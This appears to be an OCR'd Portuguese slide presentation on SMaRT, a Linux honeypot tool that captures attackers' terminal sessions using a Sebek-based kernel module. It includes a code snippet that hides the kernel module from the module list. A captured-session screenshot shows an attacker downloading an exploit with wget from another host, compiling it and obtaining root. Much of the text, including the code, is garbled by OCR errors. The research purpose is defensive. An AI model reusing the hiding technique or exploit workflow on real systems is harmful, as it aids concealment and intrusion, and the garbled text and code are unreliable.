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Introducao

 Estudar as atividades dos atacantes

— Quem sao, de onde vém, como operam e qual a motivacao?

* Honeypots de alta interatividade

— Maquinas preparadas para serem comprometidas, onde os

atacantes podem obter acesso total ao sistema

* Capturar e transferir os dados de forma imperceptivel

— Utilizar somente sensores € ineficiente

e SMaRT
— Clonar o terminal de acesso do atacante
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Arquitetura do Sistema
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Modulos do Sistema - smartl

SMaRT Logger
* Desenvolvido para Linux

* LKM baseado no Sebek (GPL)

— troca do mecanismo de monitoracao de atividades

— transferéncia dos dados capturados

— ocultamento de trafego de rede

e LKM cleaner do rootkit Adore

— ocultamento do médulo no honeypot
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Modulos do Sistema - smartl (Cont.)

Mecanismo de monitoracao de atividades

* Técnicas apresentadas no SSI 2003

— Download: http://www.honeynet.org.br

 Modificar:

1. Operacoes (fops) de leitura e escrita nos terminais

2. Chamadas de sistema sys read e sys write
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http://www.honeynet.org.br

Modulos do Sistema - smartl (Cont.)

Transferéncia dos dados capturados

* Montagem de todos os cabecalhos

* SK_buff -> representacao do pacote dentro do
kernel (include/linux/skbuff.h);

* hard start xmit -> funcao utilizada para iniciar a
transmissao dos pacotes

— Implementada pelo driver da placa de rede
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Modulos do Sistema - smartl (Cont.)

Ocultamento de trafego de rede

* af packet -> Modulo responsavel pelo tratamento
de protocolos genéricos

* packet recvmsg -> Funcao alocada para tratar as
mensagens recebidas da fila de entrada

* Condicoes adota pelo Sebek:
1. Protocolo IP
2. Portas de origem e destino do protocolo UDP

3. 4 bytes primeiros da area de dados
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Modulos do Sistema - smartl (Cont.)
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Modulos do Sistema - smartl (Cont.)

Ocultamento do moédulo no honeypot

* Lista de estruturas do tipo module
(include/linux/module. h)

* Retira a entrada do ultimo mddulo carregado

int init module ( )

{

if ( ___this module.next )

__this module.next = _ this module.next->next;

return 0;
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Modulos do Sistema - smartc

SMaRT Collector

* Captura de pacotes via pcap

— Andlise online ou offline

* Processamento dos dados capturados

— Decifrar, limpar, analisar e armazenar os dados

— Armazenamento em arquivos texto

e Analisar = Determinar o inicio e o término das sessoes

— Abrir e fechar os arquivos de logs corretamente
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Modulos do Sistema - smartc (Cont.)

Algoritmo de controle de sessoes

L. Lista princpal contmla os honey pots configu@dos,
2. Cada nodesta lista aponta para uma lista de terminais que estao sendo utilizades,
3. Aseszao e identificada pelo nome e pelo numem identificador do terminal alocado pelo sistema operacional,;

4. A estrutura dos terminais possui um apontador paa um file descripor referente aos amquivo de ses=ao abe o,
L. Quando alguma atividade do atacante e captu@da, esta & aulomaticamente escrita no {ile descriptor,

0. Este mesmo file descripor pode ser um socket;
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Modulos do Sistema - smarts

SMaRT Server

* Aplicacao servidora TCP
* Roda na interface administrativa

* Disponibilizar os dados
— Obter lista dos honeypots comprometidos

— Obter lista de sesso0es de um honeypot

— Obter sessao do honeypot
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Modulos do Sistema - smartg

SMaRT GUI

SMakRT - Sezsion Monitoring and Beplay Tool

File Configuration Help
Honeynet 1
attackerlliHoneypot 7% ==h 192,168,1.1
Honeypotl attackerldl1S2?,168,.1,1 s pazsword: defaultlZs
Honeypot 2 Fermizsion denied, pleaze try again,
Honeypotd attackerlldlS2?,168.1,1"s pazsword: default3Zl
Honeypotd attackerliHoneypotZ:™F id
Horeypoth uid=10000attackerl) gid=100{attackers) groups=100{attackers)
Honeypoth attackerliHoneypotd: ™% 1z
m bin/ dews homed lib/ mntd procd  sbind  tmpd

ward boots etod  included root/  shares  usr/
attackerliHoneypotd:™F woget —q http:dA192,168, 1,2 =pl.c
attackerliHoneypotd: ™% goo xpl.c —o xpl
attackerliHoneypotd: ™% . xpl

# id

uid=0{root) gid=0{root) groups=0lroot), 10{wheel)

# exit

attackerliHoneypotZ: ™% exit

attackerliHoneypot?: % exit
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Precaucoes

* Configuragcao da maquina central

— Falha no sistema nao pode permitir acesso a rede

administrativa

Smartc e Smarts

— Rodam em ambiente enjaulado e com baixos privilégios
* Criptografia nas transacoes entre os modulos

* Politica no desenvolvimento

— Dificultar a utilizacao ilicita do sistema
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Resultados

Infelizmente, os peixes ainda hao morderam a isca!!!
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Conclusoes

* Terminar a interface de acompanhamento de
ataques em tempo real no smartg

e Tratar rootkits de kernel - LKM

* Esconder a localizagcao em disco € a inicializacao do
smartl

* Expandir a monitoragao para outros sistemas
operacionais

* Implementar futuras idéias que possam surgir
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Obrigado pela Atencao !!!

"O sabio aprende muitas coisas com seus inimigos."
( Aristofanes )
http://www.honeynet.org.br
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